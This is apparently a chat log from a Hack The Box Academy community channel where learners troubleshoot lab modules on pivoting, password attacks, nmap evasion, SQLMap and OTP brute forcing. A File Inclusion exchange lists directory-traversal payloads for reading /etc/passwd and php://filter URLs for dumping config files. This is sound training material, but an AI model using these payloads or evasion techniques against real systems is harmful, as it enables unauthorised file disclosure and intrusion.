modules

[fringe urchin]

Module: Password attacks
section: Pass the ticket from Linux
Question: Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio.
So i configured my proxychain.conf to the 127.0.0.1 1080 and ran chisel on the david account (rdp)
but once i try to run my vmiexec i just dont get anything. i dont understand from where it takes "4.2.2.2:53" either?
also the julio ticket i imported aswell

[next bronze]

it's easier to just pth from that linux host iirc, if you want to pivot you'll need to add entries to your hosts file and set KRB5CCNAME

[fringe urchin]

i did that already

[next bronze]

what about your hosts file?

and for impacket you should use -k -no-pass to use kerberos auth

[next bronze]

use the fqdn

[pseudo kiln]

I have a question related to Footprinting Module DNS section, question 3. It seems that the correct way to find the host is to enumerate ||dev.inlanefreight.htb|| . But I don't quite get the reason behind enumerating this subdomain in particular. Or am I getting it wrong and you are supposed to brute force all subdomains discovered to find additional hosts 1 by 1 and you would eventually come up the right one ?

If that is the case if you were to use a comprehensive list like dns-JHaddix, it would take quite a while....

[fringe urchin]

where do you mean? in proxychains? or in my hosts? isnt it correct there? or im stupid?

[next bronze]

idk why is your proxychains trying to look up to some random dns server

try fqdn in your wmiexec

[fringe urchin]

idk why it goes to 4.2.2.2

its a fresh parrot os install aswell

[next bronze]

use ligolo

[fringe urchin]

ffs
well ill try with evil and rebues
if that doesnt work ill get ligolo and check how it works. never worked with ligolo before

[next bronze]

check your proxychains config

[fringe urchin]

cat /etc/proxychains.conf 
# proxychains.conf  VER 3.1
#
#        HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#    

# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
#dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
strict_chain
#
# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random - Each connection will be done via random proxy
# (or proxy chain, see  chain_len) from the list.
# this option is good to test your IDS :)

# Make sense only if random_chain
#chain_len = 2

# Quiet mode (no output from library)
#quiet_mode

# Proxy DNS requests - no leak for DNS data
proxy_dns 

# Some timeouts in milliseconds
tcp_read_time_out 15000
tcp_connect_time_out 8000

# ProxyList format
#       type  host  port [user pass]
#       (values separated by 'tab' or 'blank')
#
#
#        Examples:
#
#                socks5    192.168.67.78    1080    lamer    secret
#        http    192.168.89.3    8080    justu    hidden
#         socks4    192.168.1.49    1080
#            http    192.168.39.93    8080    
#        
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
socks5 127.0.0.1 1080
# meanwile
# defaults set to "tor"

[ProxyList]

socks5 127.0.0.1 1080

[next bronze]

by "check your proxychains config" I meant you should check it, not me

[fringe urchin]

well i did multiple times already

[pseudo kiln]

any ideas on this ?

[fathom pendant]

just a guess based on enumeration, often d* and a* endpoints are really interesting as they often contain things that a live site might not

or even in*

[zenith canopy]

Im having a problem running any mssql script

[fathom pendant]

well, did you use -d to debug?

[zenith canopy]

yes, i dont know how to fix it

[rustic sage]

your nmap's ms-sql script is having issues!

[zenith canopy]

How do i fix?

[rustic sage]

hmm, seems like the script itself is throwin' that error!

[fathom pendant]

just don't worry about using scripts

more than one way to enumerate an mssql server

and usually it involves authentication

[zenith canopy]

okay, let me use metasploit then

[rustic sage]

Mhm!

[cerulean arch]

hey, I'm currently working on the XSS module and I'm kinda stuck at the phishing section. Is there anyone who is able to help?

[storm elk]

What part are you stuck on? What have you tried?

[cerulean arch]

Well, I figured out how to get XSS. Im now trying to follow along with the module. but now im stuck on getting the page to look how it should. In the module they use the functions "document.write()" and "document.getElementById().remove()" to create the fake login portal and then clean it up. But neither of those functions work for me

[wise vault]

hi everyone

in "Dynamic Port Forwarding with SSH and SOCKS Tunneling" for solving the second question. proxychains tool is not on the ubuntu server and nmap also. so how to solve it?

[fathom pendant]

You use proxychains from your system

Set up pivot; then from your system using nmap/proxychains

[wise vault]

wooooh ! got it

like the diagram

i think i have to only use ubuntu . then from their move forward

[fathom pendant]

Proxychains is used from your attack system generally

[wise vault]

thanks mate 🙂

[fathom pendant]

Once you get the major idea of how it works down, look into ligolo-ng - it combines a lot of the underlying pivoting into one tool

[stable bone]

https://tenor.com/view/viralhog-gun-fire-murica-flag-america-gif-12183553

[peak rover]

...

[stable bone]

nah but seriously though... america and germany have the best cyber universities

even Britain

[fathom pendant]

Doing online studies like from HTB academy will be better

[stable bone]

classes from Heilbronn, the NSA, Dod, and more

[stable bone]

but think about official degrees and certs especially as a russian immigrant...

[slate zinc]

still gets beaten by russian/chinese/asian

[fathom pendant]

That doesn't matter

Degrees sure

[stable bone]

oh yh i forgot about japan

but no way does russia beat america in cyber

[fathom pendant]

But you don't need degrees to get certs

[fathom pendant]

Sure

[slate zinc]

https://tenor.com/view/shrek-shrek-rizz-rizz-gif-11157824601050747846

[fathom pendant]

There's a reason some of the Big APT groups are Russian

[peak rover]

Don't you like Russia?

[fathom pendant]

And often are state-backed

[stable bone]

but a degree from a recognized university will get this mans set up good

[fathom pendant]

Not really

[stable bone]

i do its not about that though my guy

[fathom pendant]

Most jobs could care less what uni you studied in

[rustic sage]

[fathom pendant]

If you have certs

And certs will generally be cheaper than Uni

[stable bone]

ok but are HTB certs nationally recognized...?

[rustic sage]

bro 😂

[fathom pendant]

Either way not the place for this convo

There's a #careers-and-certs channel

[rustic sage]

#careers-and-certs

[stable bone]

nah dont laugh i just started too now im invested in what my best route would be

[rustic sage]

Jump in there!

[fathom pendant]

@peak rover if you link your htb account following #welcome you can access #careers-and-certs and get far more valuable input

[slate zinc]

long story short pick a feild get a cert and stuck to it

[fathom pendant]

From people that are actually in the field

[stable bone]

i cant do multiple thingies?

[fathom pendant]

Not just a skid who thinks they know what they're talking about

[peak rover]

Okay, I'll do it now

[fathom pendant]

It's best to start narrow

Focus on one thing, then learn and expand

[stable bone]

who you referring to hmmm 🤓

[fathom pendant]

You

[stable bone]

but mericuh

[rustic sage]

You

[fathom pendant]

But no experience

[slate zinc]

he can be realistic sometimse ,cope

[rustic sage]

#careers-and-certs well that is for a reason! let other get some help in here! 😆

[fathom pendant]

@peak rover read and follow the #welcome instructions

[zenith mango]

Can you imagine if just one of those exploded in the tube. That would be a bad day.

[stable bone]

why does that go through your head 💀

[zenith mango]

Probably because I've seen it happen.

No one had them strapped to their arms though.

[midnight granite]

Question: Use SQLMap to get an interactive OS shell on the remote host and try to find another flag within the host. Hint for the flag is The flag is in a very common directory! i tried many common directories but no luck.

[fierce mason]

for the miscellaneous techniques section on windows privilege escalation, is the account in the exercise reffering to a local account

[fathom pendant]

/root/ /tmp/ many places

[midnight granite]

tried but no luck.

[fathom pendant]

Did you even try using find?

find / -name "flag.txt"

Did you also just try checking the filesystem root

[midnight granite]

Not able to move from /var/www/html

[midnight granite]

Module Name: SQLMap Essentials -> OS Exploitation

[fathom pendant]

You don't need to be able to move to read files

[fierce mason]

ive already got system, and checked mimikatz and secretsdump, the password hashes that i cracked don't get accepted either

[fathom pendant]

Try ls /

[midnight granite]

Here it is but how to read it?

[fathom pendant]

It sounds like you don't understand linux basics

cat /path/to/file since it's in filesystem root (/) figure out from there

[fathom pendant]

Also this contains a spoiler, please delete the image

[midnight granite]

I did but here's little bit confusion btw thanks.

[fathom pendant]

Wdym confusion?

There's relative and absolute paths

ls on its own just lists the current directory

You can supply a filepath to have it list a specific directory

For instance if you want to list /tmp/ without cd into it, you'd just ls /tmp/

I suggest doing the linux fundamentals module

[fathom pendant]

Btw still need to delete this

[midnight granite]

Got the flag btw I've already done the fundamentals.

[fathom pendant]

It contains a spoiler for the other flag

[midnight granite]

Sure. i'll delete it.

[fathom pendant]

Then it sounds like you don't understand how linux and commands work

[midnight granite]

I did understand it. Actually i tried with this command cat / flag.txt i did'nt saw the space.

Btw thanks.

[fierce mason]

could someone help with this

[next bronze]

starts with ! and ends with c

[fierce mason]

is it in rockyou

[next bronze]

no, you can find it in the system

[fierce mason]

is the password encrypted

[next bronze]

no

[wise vault]

is ligolo-ng a tool?

[fathom pendant]

Yes

[wise vault]

i noted your line in my notes 😁

[turbid echo]

Has anyone solved Broken Authentication recently?

I am stuck.

Are we supposed to enumerate user names from Login or register then brute force the password?

[stable bone]

yh

[shut vapor]

Is there a defacto tool for sucking down the contents of a mailbox via IMAP? What do you guys use for that? A little searching turned up some weak looking candidates or Windows-only stuff.

[stable bone]

yeah

[fathom pendant]

You can use curl I believe I forget the full syntax, I remember though it uses imap://ip though

But tbh there's not too many emails in these practice labs

Like one maybe two

The proper way to fetch an email in imap is 1 fetch 1 body[] btw

Idk why they give you the "all" command

It gives you mostly informational stuff about the email, but doesn't read it

[shut vapor]

Thanks, I'll look more into curl. I saw the commands for working with individual IMAP folders but I'm sure there's a small script to iterate if that kind of thing isn't baked in already.

Yeah, I'm seeing there's never any real email in there except the ones you're supposed to see.

Getting pretty fast at the manual navigation hah

But it'd still be nice to just suck the whole thing down and ls/grep out the important stuff. Checking all the folders available is a little bit of a drag.

Aaaand... finished with the Footprinting module. I gotta admit, the labs are a ton of fun even when I'm vexed by some mundane detail.

[open summit]

Network enumartion with nmap - Firewall and IDS/IPS Evasion - Medium Lab

can someone help guide me in the right direction for this section because im stuggling with it

[fathom pendant]

Source port

Make sure you also disable a bunch of the ping stuff

[open summit]

keeps giving me filtered

i cant seem to get the version of the DNS server

[fathom pendant]

--source-port

[fathom pendant]

Why are you setting source port that high?

[open summit]

i seen it in the walkthrough in the module

[fathom pendant]

Wrong section

And none of the sections use that high of a source port

Remember maybe the dns is misconfigured

What if it thinks you're dns

Also if you give it too many alerts it'll block you outright

And you'll have to reset anyway

(Or wait the like 10 minutes)

[fathom pendant]

Why 143?

[open summit]

its an open port

also -sA is better than -sS right?

[fathom pendant]

Meh

Your source port is incorrect

[open summit]

how can I decide what my source port is

[fathom pendant]

I suggest re-reading the evasion section regarding dns

And source port

More specifically what port is dns

A misconfiguration could allow it to be scanned if the source port of the attacker comes from the "dns" port

[shut vapor]

I found a perl script for getting all the IMAP messages. It's not great but it seems to work. Weird syntax. iu-dump in particular from the linked repo.
Curl outputs to stdout and I haven't figured out how to split into separate files. Neither fetchmail or getmail do what I want.
https://github.com/mtsatsenko/imaputils

I wonder how that works in the real world, someone's gigabyte sized inbox. Are you going to download the whole dang thing to sift for details kind of search for "passwords" or whatever and move on?

[open summit]

I got it!!

[fathom pendant]

Generally look for things tagged "important," also in a real engagement you're looking at a corporate inbox. Not a random gmail/outlook email

Imap is good for this because inboxes can be tagged and sorted, pop3 does not

[timber hatch]

andybody done he module: INTRODUCTION TO WINDOWS EVASION TECHNIQUES / Static Analysis?
i don't know why the meterpreter sessions comes not to run...would appreciate some help

[open summit]

Is it worth posting your modules every time you complete them to linkedIn like sharing showing youve completed the labs?

out of topic but ye !

[fickle thicket]

this is old but gold. thank you. helped me understand the concept

[fathom pendant]

Up to you tbh

[little bear]

It is time to share that I have officially reached 100% completion for the CPTS. Exam time is nigh. 🥇🔥💯

[fickle thicket]

Congrats!!!

[turbid echo]

Any help?

[fathom pendant]

Do whatever is taught by the module

[turbid echo]

I did. I just need a nudge in the right direction

The users are all available. The headers for "local auth" give nothing

I am confused

[strange forge]

Escaping Restricted Shells in linux privilege esclation. how to bypass rbash.

literally everything has / in it. nothing is working. no programming languages installed

[fathom pendant]

https://systemweakness.com/how-to-breakout-of-rbash-restricted-bash-4e07f0fd95e maybe this?

"no programming languages installed" I doubt that

rbash is just restricted bash so you gotta find a way around it

[gaunt pebble]

Damn I cant ask my question in general

[fathom pendant]

read and follow #welcome to access it

[gaunt pebble]

Yeah but I need to finish thm practical ethical hacking first, so I just wanted to ask if it is good and what can I kearn from it if I dont pay for it since it looks like all videos are unlocked

[fathom pendant]

well this channel/server isn't really gonna give you useful answers for THM

you'd have to go to the THM discord and ask

[rustic sage]

i cant do these modules the VM's keep dieing 😦

[little bear]

power through~

[turbid echo]

Hmm,

I am stuck at the OTP rn.

I bruteforced for about 2 million or something

Not a single one works

[little bear]

Context me?

OTP? @turbid echo

[inner geyser]

Anyone else having issues w/ targets spawning or is it just me?

[sudden summit]

Yeah mines taking abnormally long to spawn right now...

[languid fjord]

What module / region?

[turbid echo]

After I got the Gladys user it asks for an OTP. I bruteforced a lot. Nothing comes.

Any hints for the OTP part?

[little bear]

Are you talking about One Time Password or? Just so I understand the acronym 🙂

Also, which module is this?

[turbid echo]

Yes the one time password

[little bear]

Which module are you working on?

[turbid echo]

Broken Authentication

[cloud urchin]

I just solved it

[little bear]

Nice!

[turbid echo]

Can you tell me what to do with the OTP. I did try to brute force from 0 to 999999

[little bear]

I dont believe I've started BA yet, even though CPTS covers a lot of Web App.

[turbid echo]

Nothing works

[little bear]

Ill take a look too

[turbid echo]

Any hints?

[cloud urchin]

yup i had the same issue. the rate limiting is strong

[turbid echo]

It doesn't stop me. Which is weird. 😭

How many numbers is the OTP though?

[cloud urchin]

if you enter a couple otp and refresh the page you'll see you're logged out

[little bear]

I think I understand how to solve it as well

[turbid echo]

Yeah. But when I use burp it still works.

Like in repeater I get the invalid otp page before I am redirected.

So I just ignored it.

[little bear]

Burp can give you a lot of noise depending what you're doing. The example uses ffuf.

[cloud urchin]

i was not able to get otp working either.

[turbid echo]

Do I need to put the X-Forwarded-For header?

[cloud urchin]

i never did the module before they changed it i wonder what the old skills assessment was

[cloud urchin]

i tried that too. i tried scripting it to randomize the ip every time but no matter what i did i got rate limited. and there are too many otp codes to go through before the box dies if you do it super slow. i limited ffuf to do it 1 per second and it still logged me out due to rate limiting.

[turbid echo]

How to solve it then? 🥲

[cloud urchin]

everything you need is in the module. i can't really think of a way to say it without giving it all away.

[turbid echo]

Which part at least?

So I will not bruteforce the OTP?

[cloud urchin]

i wasn't able to do it

[turbid echo]

I changed parameters
I added the header
I changed methods

I don't know what more to do

[little bear]

Start from the beginning helps. This OTP seems p easy of an exercise. I'm working on the OTP section rn

[turbid echo]

What beginning? I am not sure I follow.

I got the user and the password

[little bear]

Of the module and get to the relevant section you're having issues with. Google is also your friend, but keep it in context.

[cloud urchin]

you don't need google

it's all in the module.

[little bear]

Fair, but remember those times we ran into AD?

[cloud urchin]

take a moment and think about the module contents. go review the sections. think to yourself what other options you have if you've exhausted one resource.

[little bear]

Kinda the mindset I was goin with haha

[cloud urchin]

as i said before, i was also not able to brute force the otp.

[turbid echo]

I changed the method
The headers
I added parameters

The cookie looks random

[cloud urchin]

k. so if you can't brute force it, go look at the sections and think about what else you can do.

[turbid echo]

Direct access?

[autumn pilot]

from which module/section is that @turbid echo

[turbid echo]

Broken Authentication skills assessment

Just solved it. Aggghhh

[cloud urchin]

nice work

a bit tricky huh heheh

[dreamy fjord]

Hay does someone has e-book for python ?

Could anyone help me

[cloud urchin]

I thought Python Crash Course: A Hands-On, Project-Based Introduction to Programming by Eric Matthes was really good. This isn't really the place for that though, this is about htb modules.

[turbid echo]

I totally forgot about the original landing page.

[turbid echo]

I found my starting with Python was great using Python for Everybody

Dr. Chuck is a legend.

[sly kelp]

Automate the boring stuff with python.

https://automatetheboringstuff.com/

[dreamy fjord]

Tk

[wise vault]

Remote/Reverse Port Forwarding with SSH my brain is not able to fetch the logic. seems very difficult. i know its easy.

[coarse escarp]

I got a problem

So I tried to run the commands for public exploits in getting started

[haughty tree]

Have you learned about subnets?

[coarse escarp]

and I got the same error in two separate instances.

[wise vault]

i did CCNA mate

[next bronze]

rhosts and rport

[wise vault]

yeah

[haughty tree]

So which part was confusing about reverse port forwarding

[coarse escarp]

This is what it's asking me to do though.

if rport is what I need to do, then this would be misleading instructions.

[next bronze]

yes but it didn't ask you to put the port in rhosts

[fathom pendant]

You set rhost and rport separately

Rhost: remote host
Rport: remote port

[wise vault]

i read the whole module very easy stuff but one thing is here that " we are using ubuntu for pivot to the target we setup the listening port with localhost to forward the remort port traffic on our local port. the remote target 172.x.x.x have connection with ubuntu. and we just setup our localhost and port for remote port to listen on "

[cloud urchin]

Type options. It will show you if the exploit requires a port set.

[fathom pendant]

You set it like you would rhosts

[fathom pendant]

It depends

[wise vault]

but how the 172 can contact to our attack host what is between except pivot?

[cloud urchin]

oh yeah it probably does actually

[fathom pendant]

The pivot forwards the packets

[coarse escarp]

I did though

[cloud urchin]

How do you set the RHOST?

[fathom pendant]

No you didnt

[coarse escarp]

nevermind

[fathom pendant]

Rhost: ip
Rport: port

[wise vault]

you mean to and fro

[fathom pendant]

They are separate options for a reason

[fathom pendant]

Implied yes

It does networking magic with the packets, but nonetheless it forwards them

[fathom pendant]

Set rhosts to just the ip

Not the ip:port

[wise vault]

content in pivoting module is easy. but tricky. can you suggest some other for easy understanding

[cloud urchin]

Look at the word before you typed "RHOSTS". Think about how you may have to set other options. Type "options" to see what options you need to configure.

[coarse escarp]

so respawn?

or a different attack?

[fathom pendant]

No

[autumn pilot]

try and see

[coarse escarp]

I did

[fathom pendant]

It seems you're missing some crucial info

[autumn pilot]

Try to formulate your thought process into words instead of screenshots only

To attack a target, start with the most simplest thing you can think of

[fathom pendant]

You're doing the getting started -- public exploits section, yes?

[autumn pilot]

Get some information about the target, use that and pwn

[coarse escarp]

Yes.

[fathom pendant]

Then eternalblue is not the answer

Enumerate the target first before immediately jumping to what the example shows

As the example is purely that, an example of how you'd search for an exploit

Usually the docker containers are hosting a web service

http://ip:port

[wise vault]

content in pivoting module is easy. but tricky. can you suggest some other for easy understanding

[coarse escarp]

Ok, then the examples aren't that helpful if I don't know the correct commands to use.

[fathom pendant]

Not off the top of my head

[fathom pendant]

Examples won't always be spoonfeeding answers to you dude

It shows you how to search

Enumerate the target first, then search based off that info

[haughty tree]

172 contacts the Ubuntu

[wise vault]

Remote/Reverse Port Forwarding with SSH so here in example payload is copied to windows. is there need to use proxychains xfreerdp to copy it to windows

[coarse escarp]

That's not really what I'm after but what would be helpful would be a table list of commands to try out. Process of elimination.

[fathom pendant]

Brother

[wise vault]

hmm ok

[fathom pendant]

Look. At. The. Target.

If you look at the web page of the target host it'll tell you basically what to search

[wise vault]

can i dm?

[haughty tree]

Yeah but it might take me some time to respond

[coarse escarp]

The target is a web-based service that I need to pwn in order to gain some intel. I get that.

[fathom pendant]

The public exploit section is basically a "go to google"

[cloud urchin]

How do you normally view web based content?

[coarse escarp]

Html or cmd

[fathom pendant]

Did you try viewing the webpage first, or just assume

[rustic sage]

go to google, look at ExploitDB or Rapid7!

[coarse escarp]

if I'm looking at code

[fathom pendant]

Html isn't a mode

[coarse escarp]

source code

[rustic sage]

view source page?, brp💀

[fathom pendant]

Not all source code is html

[wise vault]

check

[fathom pendant]

But I digress

[coarse escarp]

Your right

[fathom pendant]

Just look at it in a browser

It'll save you a good chunk of headache

Since what to search will smack you in the face

[coarse escarp]

Ok when I think of link I think of the web, when I think IP address I think cmd. I know they are one in the same but my mind just seems to use IP addresses simply for debugging.

not exactly a 1:1

but still

[cloud urchin]

So does anything stand out to you?

[fathom pendant]

A dns maps a domain name to an ip

You can visit any website via it's ip btw

[cloud urchin]

that may not work if the IP hosts multiple vhosts though

[rustic sage]

If you refer to Nibbles - Web Footprinting part of Getting Started it will show you how to find what you will want to search in Metasploit later

[cloud urchin]

MarcieLee already gave him the answer a couple times

[fathom pendant]

It'll generally route (if set up) to its default domain, reverse lookup is fun

[fathom pendant]

There will be plenty of web modules that use the docker_ip:port btw

[coarse escarp]

Wordpress 2.7.10 which if I remember right is a very buggy and exploitable version. Well most of the earlier versions were.

[fathom pendant]

Sometimes they'll tell you a vhost they want you to use

[fathom pendant]

Not WordPress

But the plugin

It's fairly simple

Step 0: always enumerate

[coarse escarp]

Simple Backup Plugin 2.7.10

[cloud urchin]

Enumeration is like 90% of this

[fathom pendant]

Now go have fun with that

[fathom pendant]

It's why it's step 0

Never assume you're given all the info, expect to look for more pieces to the puzzle

[coarse escarp]

I'm gonna take a break

[wise vault]

are you still there?

ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN <InternalIPofPivotHost>:8080 this is on listening state on the ubuntu and 0.0.0.0:8000 this is also on the listening state on our attack host. is it correct? what about ubuntu@<ipAddressofTarget>?

[coarse escarp]

My brain went to GladOS.

"Are you still there?"

[wise vault]

ok

[wise vault]

english is my 4th language🙂 thats why

[coarse escarp]

I didn't say that was a bad thing

[wise vault]

got it

[wise vault]

?

[ripe anvil]

Hi, i hope everyone doing something productive. i am currently facing the issue while testing the LFI kindly see the below and let me know what i can do ? i sent the same message on support but they take alot time to reply. if anyone do that before kindly help me in this as my goal is not to complete the exercise but want to clear my concept

On the "PHP filters" section of File Inclusion module, i found the website at the "http://94.237.54.176:42648/index.php?language=en"

here "language=en" is the vulnerable target endpoint, you guys says we can read the content of php files without render them on the website using php filters that is "php://filter/read=convert.base64-encode/resource=config"
But my concern is that just forget the scenario that we have to read the content of config files on the website without render them, i just want to know how to test the LFI on that endpoint "language=en"

in the previous exercise (which is basic bypasses section) i tried these payloads:
../../../../../../../../../../../../../../../../etc/passwd
....//....//....//....//....//....//....//....//etc/passwd
....////....////....////....////....////....////....////....////etc/passwd
..././..././..././..././..././..././..././..././etc/passwd
..../..../..../..../..../..../..../..../etc/passwd
http://<domain>/index.php?language=languages/../../../../etc/passwd
http://<domain>/index.php?language=languages/../../../etc/passwd%00.php

and i got LFI with the help of one of the above payload, but in the current section (which is php filters) here we have goal to read the php config files content without render them on the website as html content. But before that i want to test LFI on it, as you already says in the article that once we have find the LFI in the websites then we go this approach of reading the content of php config files without render them

so please give me exact method to identify the LFI in this exercise, as i already tried the above payloads in this section, also tried in the "URL encoded" form using burp decoder even with double encoded.

i know , how to read the file content, but i want to learn how to test LFI in this parameter, as you guys teach me the method of reading php config files content without render them on the website but that was the 2nd step.
tell me 1st step how to idenify the LFI as i am try many method that you guys teach me in the previous module "basic bypasses" but they did not work for me. even i tried the payload list of directory traversal from "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory Traversal/Intruder/directory_traversal.txt" But it would not work for me
94.237.49.212:49813

for your ease here is the target, it is up for next 1 hour

[acoustic owl]

Fuzz the web application for other php scripts, and then read one of the configuration files and submit the database password as the answer

[ripe anvil]

yes, i already did this

i got the configure.php file

i used this payload "http://94.237.49.212:49813/index.php?language=php://filter/read=convert.base64-encode/resource=configure"

but this is not my question to get the flag.

As in the Academy , they said once you identify the LFI in the application endpoint then we will go to this approach of accessing the configuration files content without render them as html in the website

so when i try to test the endpoint "http://94.237.49.212:49813/index.php?language=en" for LFI, i did not get success

[slate zinc]

is it supposed to be "en"?

🤔

[ripe anvil]

like in real word, first we have to find the endpoint that is vulnerable to LFi then we go for reading config files using the php filter "php://filter/read=convert.base64-encode/resource=file_name"
"

[ripe anvil]

yes

[slate zinc]

ah ok then

[ripe anvil]

Sorry, i did not get your point ? are you asking something from me ?

[slate zinc]

not really i thought langauge=php and language=en dont really go togather

[ripe anvil]

yes, "en" will be replaced by php filter payload

[old marten]

Will I be able to access the entire SOC Analyst path if I get the Student subscription?
It says all modules upto Tier 2 included
I don't know how to identify if the SOC path is tier 2 or not

[acoustic owl]

If you fuzz for php files, you will see that there is an en.php and other languages as php files. A clear indicator for LFI

[acoustic owl]

Yes, with the student subscription you can access all modules for the paths CBBH, CPTS and CDSA

[ripe anvil]

"http://94.237.49.212:49813/index.php?language=en "

You means in the above link we fuzz "en" parameter with php extension. I think they just gives us files that is accessible within the current directory
For example in this directory "/var/www/html/project/" our project is placed with files

1. index.php
2. es.php
3. en.php
4. configure.php

In index.php we define input parameter that just accept the files from current working directory. (i don't think that will be LFI)

What about if i want to access /etc/passwd file content, in the "language=es" parameter. Then why it will not display the content if that was LFI

I tried this payload
http://94.237.49.212:49813/index.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd

In the

Please correct me, i am new with LFI and just want to get my hand dirty with LFI stuff

[acoustic owl]

Because the script ensures that you can only read files within the directory. This means that you cannot read other files, such as /etc/passwd

[ripe anvil]

Thank you soo much, learn another technique!💪

Really appreciate your efforts👏

[candid lily]

what academy modules are required to complete most of web challenges (tier 3)

[rustic sage]

Attacking AD

• Every windows machine no matter how many times a restart and wait 5 mins on each one, won't allow me to RDP

[autumn pilot]

you are connected to RDP

[rustic sage]

mhmm

but black screen

[autumn pilot]

you have the power to change it

[rustic sage]

I've tried resizing the screen and restarting it

[autumn pilot]

simplify your approach

[rustic sage]

/relax-order-checks

sorry, I didn't think that the 'technical-issue' was actually meant to happen

[loud drift]

hey folks i have a question in my country my isp cut internet connection to all the country , is there any thing to bypass it

[candid lily]

they should make a module to challenge mapping just like module to machines

lol wdym then what do they provide if its not internet

[normal sand]

I've just started the Pivoting, Tunneling, and Port Forwarding module and I've gone through the sections until Remote/Reverse Port Forwarding with SSH. Could someone please correct me if my understanding of the concept is incorrect?

So, the way I understand it is that once we've compromised a host, we can check if it has any other physical/virtual NICs that have an IP address assigned, meaning that host could have access to another subnet/network.

Local port forwarding would be using SSH to listen to services that are running locally on the victim machine and make it accessible to us on our attack host.

Dynamic Port Forwarding with SSH and SOCKS would be using the SOCKS protocol to send packets to a remote network via a pivot host. Can someone please clearly explain how the SSH and SOCKS tie into this part? I have a very lose understanding of it.

So with Dynamic Port Forwarding, the SSH client requests the SSH server to allow it to send TCP data over the SSH connection and the SSH client listens on port a port of our choice that we specify in the command, for example:

ssh -D 9050 <hostname>@<ip_addr>

And then we basically use proxychains to send the commands we want to run on the pivot host?

In the section, it specifies that proxychains is capable of redirecting TCP connections through TOR, SOCKS, and HTTP/HTTPS proxy servers and also allows us to chain multiple proxy servers together. So this means that a SOCKS service is installed on the pivot host?

So in an actual engagement would I need to install the SOCKS service before being able to pivot?

[next bronze]

pretty much correct, execpt that SSH supports SOCKS by default so there's no need for extra config

[normal sand]

Alrighty, but then is it not possible to pivot without SSH? Maybe the answer to this question is already in the module and my question is premature 😅

[next bronze]

there are other ways to pivot besides SSH, some of them are covered in the module

I'd also recommend looking into ligolo-ng

[normal sand]

Oh, okay. Thanks for letting me know. Also, in the section I'm currently reading (Meterpreter Tunneling and Port Forwarding) it states the following:

Note: Depending on the version the SOCKS server is running, we may occasionally need to changes socks4 to socks5 in proxychains.conf.
Is there a way to tell from the pivot host whether to use socks4 or socks5? Also, the meterpreter method uses a version socks4a, how is that different?

[normal sand]

Alrighty, I'll definitely have a look into it. Is it not covered in the module?

[next bronze]

that tool is not, but it's my go to pivoting tool

[next bronze]

the versions default to different ports so that's one way to tell, but for the most part it wouldn't make much of a difference in the tunnel

[turbid hull]

Hello there, i am actually doing the password attacks module and i am at the windows local password attacks, i have to attack SAM but unfortunately it's lagging like hell, i am getting disconnected from freerdp and i can barely do anything when i am connected to it. Any hint welcome, i have to go but i ll read it later on, if someone already gone trough this

[normal sand]

Default to different ports? So you mean after running that SSH command I'd have to do netstat -lanpt and check which port the pivot host is listening on if I wanna figure out the version?

[next bronze]

you can specify the version in your proxychains.conf

[normal sand]

So basically I can just always specify socks4 and if that doesn't work, then socks 5?

[next bronze]

yep

[fringe urchin]

Ah proxychain

[next bronze]

did you fix the issue

[fringe urchin]

Lol no

I deleted everything

[next bronze]

use ligolo bud

[fringe urchin]

Reinstalled
And it still threw me to 4.2.2.2
Then gave up for the day

[fringe urchin]

Will do today. From what ive seen most ppl here prefer ligolo

[next bronze]

it's based

[fringe urchin]

[stiff urchin]

I got across Linux local password attack section under PASSWORD ATTACK module after i stuck to get into system i used the HINT option yet, the credentials there didn’t work, nor the pw-attack file provided at the module resource and yes i used the mutation passwords too !
User k*** pwd: L*Y1 won’t work for me!

[next bronze]

change vpn servers

[next bronze]

iirc mutate that pass with the rule and brute it

[stiff urchin]

I did that with the custom rule 🙂

[next bronze]

yeah did you try to brute force with the list?

[modern raft]

Can anyone help me hack a game?

[stiff urchin]

Sure, with hydra and cme
Original list and the mutation list

[next bronze]

which user is it for?

[stiff urchin]

Also tried attacking the smb ftp services

[stiff urchin]

K….

Wi.. too

[next bronze]

from my notes the mutated list will have the password

don't use - - force in your hashcat command

[fringe urchin]

Which section? I can double check too

[stiff urchin]

Lme try with diff list !
Thanks

[next bronze]

create the list by mutating this pass btw

[stiff urchin]

Password attack
Linux local password attack - credential hunting in Linux

[fringe urchin]

Yep like xreous said. A mutaed list from the L ...Y .....1

[stiff urchin]

Found it, thanks 🙏

[wise vault]

@next bronze hi

[next bronze]

[loud drift]

hey they cut it cause of bacheloria degree ,

[snow steppe]

Anybody who has completed Broken Authentication skill assessment (updated version)

[spark charm]

target machine always take long time to spawn also it's sometimes host not recheable

[normal sand]

Sorry, just wanted to clarify something. What's happening in the dynamic port forwarding is that I'm choosing the port for the attack host to communicate with port 22 on the pivot host, right?

And in this screenshot, it's communicating with a target machine on a remote network via a pivot host from attacker host port 3300 to the target machine's port 3389?

I don't understand why the term "relay" is used here. It's got me confused 😅

[west dove]

Hey has anyone done the Web Attacks Advanced File Disclosure module?

[next bronze]

yes to both, there's a little more to it for the first question but it doesn't matter

[next bronze]

it's just the pivot host is relaying/forwarding packets to the target

[normal sand]

A little more to it? I'd like to understand if you're willing to explain

[normal sand]

Ahh, okay, I thought there may some sort of internal loopback or smtg maybe.

[next bronze]

the OS chooses a dynamic port to connect to the SSH server on the target, the -D port you're configuring where the SOCKS server is listening on to forward the traffic, the SSH tunnel is already establised at that point

[dreamy fjord]

Can someone pls tell what all should be done before accessing the tor
(( safely acces it....))

[normal sand]

-D specifies where the server (aka the pivot host) is listening? I thought it specified where the attack host was listening?

[next bronze]

SSH server vs SOCKS server

